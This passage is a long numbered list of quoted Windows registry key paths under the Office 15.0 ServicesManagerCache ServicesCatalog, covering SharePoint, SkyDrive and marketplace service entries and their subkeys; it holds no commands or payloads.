  1027. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails",
  1028. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url16x16",
  1029. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url32x32",
  1030. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url48x48",
  1031. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP",
  1032. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Capabilities",
  1033. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ConnectMechanism",
  1034. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\IsManaged",
  1035. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\IsRemovable",
  1036. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceOwner",
  1037. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\SortOrder",
  1038. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\SupportsMultiple",
  1039. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\CapabilitiesMetadata",
  1040. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Description",
  1041. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Name",
  1042. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceId",
  1043. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceUrl",
  1044. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata",
  1045. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata\\KeyTip",
  1046. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata\\Type",
  1047. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails",
  1048. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  1049. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  1050. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  1051. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED",
  1052. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Capabilities",
  1053. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ConnectMechanism",
  1054. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\IsManaged",
  1055. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\IsRemovable",
  1056. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceOwner",
  1057. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\SortOrder",
  1058. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\SupportsMultiple",
  1059. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\CapabilitiesMetadata",
  1060. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Description",
  1061. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Name",
  1062. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceId",
  1063. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceUrl",
  1064. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata",
  1065. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata\\KeyTip",
  1066. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata\\Type",
  1067. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT",
  1068. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Capabilities",
  1069. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ConnectMechanism",
  1070. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\IsManaged",
  1071. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\IsRemovable",
  1072. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceOwner",
  1073. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\SortOrder",
  1074. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\SupportsMultiple",
  1075. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\CapabilitiesMetadata",
  1076. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Description",
  1077. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Name",
  1078. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceId",
  1079. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceUrl",
  1080. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata",
  1081. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\DefaultFolderRelativePath",
  1082. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\KeyTip",
  1083. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\Type",
  1084. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails",
  1085. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url16x16",
  1086. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url32x32",
  1087. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url48x48",
  1088. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP",
  1089. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Capabilities",
  1090. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ConnectMechanism",
  1091. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\IsManaged",
  1092. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\IsRemovable",
  1093. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceOwner",
  1094. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\SortOrder",
  1095. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\SupportsMultiple",
  1096. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\CapabilitiesMetadata",
  1097. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Description",
  1098. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Name",
  1099. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceId",
  1100. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceUrl",
  1101. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata",
  1102. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata\\KeyTip",
  1103. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata\\Type",
  1104. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails",
  1105. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  1106. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  1107. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  1108. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER",
  1109. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Capabilities",
  1110. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ConnectMechanism",
  1111. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\IsManaged",
  1112. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\IsRemovable",
  1113. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceOwner",
  1114. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\SortOrder",
  1115. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\SupportsMultiple",
  1116. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\CapabilitiesMetadata",
  1117. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Description",
  1118. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Name",
  1119. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceId",
  1120. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceUrl",
  1121. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata",
  1122. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\HideIfEmpty",
  1123. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\KeyTip",
  1124. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\Type",
  1125. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails",
  1126. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url16x16",
  1127. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url32x32",
  1128. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url48x48",
  1129. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE",
  1130. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Capabilities",
  1131. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ConnectMechanism",
  1132. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\IsManaged",
  1133. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\IsRemovable",
  1134. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceOwner",
  1135. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\SortOrder",
  1136. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\SupportsMultiple",
  1137. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\CapabilitiesMetadata",
  1138. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Description",
  1139. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Name",
  1140. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceId",
  1141. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceUrl",
  1142. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata",
  1143. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\DefaultCreateRelativePath",
  1144. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\DefaultFolderRelativePath",
  1145. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\KeyTip",
  1146. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\RegularExpression",
  1147. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\Type",
  1148. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails",
  1149. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url16x16",
  1150. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url32x32",
  1151. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url48x48",
  1152. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT",
  1153. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Capabilities",
  1154. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ConnectMechanism",
  1155. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\IsManaged",
  1156. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\IsRemovable",
  1157. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceOwner",
  1158. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\SortOrder",
  1159. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\SupportsMultiple",
  1160. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Description",
  1161. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Name",
  1162. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceId",
  1163. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceUrl",
  1164. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails",
  1165. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url16x16",
  1166. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url32x32",
  1167. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url48x48",
  1168. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE",
  1169. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Capabilities",
  1170. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ConnectMechanism",
  1171. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\IsManaged",
  1172. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\IsRemovable",
  1173. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceOwner",
  1174. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\SortOrder",
  1175. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\SupportsMultiple",
  1176. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Description",
  1177. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Name",
  1178. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceId",
  1179. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceUrl",
  1180. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails",
  1181. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url16x16",
  1182. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url32x32",
  1183. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url48x48",
  1184. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE",
  1185. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Capabilities",
  1186. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ConnectMechanism",
  1187. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\IsManaged",
